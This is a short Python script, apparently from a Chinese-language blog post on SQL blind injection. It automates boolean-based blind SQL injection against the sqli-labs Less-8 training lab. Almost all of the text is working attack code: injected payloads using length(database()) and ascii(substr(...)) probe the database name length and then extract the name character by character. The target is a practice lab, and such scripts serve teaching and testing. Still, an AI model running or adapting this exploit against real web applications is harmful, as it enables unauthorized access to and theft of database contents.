import requests,string
url= "http://10.1.1.11/sqli-labs/Less-8/"
headers= {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
}
# 获取数据库长度
def get_db_len(url):
for i in range(1,100):
payload=f"?id=1' and length(database())={i} --+"
full_url= url+ payload
# print(full_url)
res= requests.get(url= full_url,headers= headers)
if "You are in..........." in res.text:
break
return i
db_len= get_db_len(url)
print(f"[+] The db_leng is :{db_len}")
# 按位获取数据库名
c_range= string.printable.strip()
def get_db_name():
db_name= ""
for i in range(1,db_len+ 1):
for c in c_range:
payload= f"?id=1' and ascii(substr(database(),{i},1))={ord(c)} --+"
full_url= url+ payload
# print(full_url)
res= requests.get(url= full_url, headers= headers)
if "You are in..........." in res.text:
db_name+= c
break
return db_name
db_name= get_db_name()
print(f"[+] The db_name is :{db_name}")
Python脚本--SQL盲注
最新推荐文章于 2025-03-05 10:55:49 发布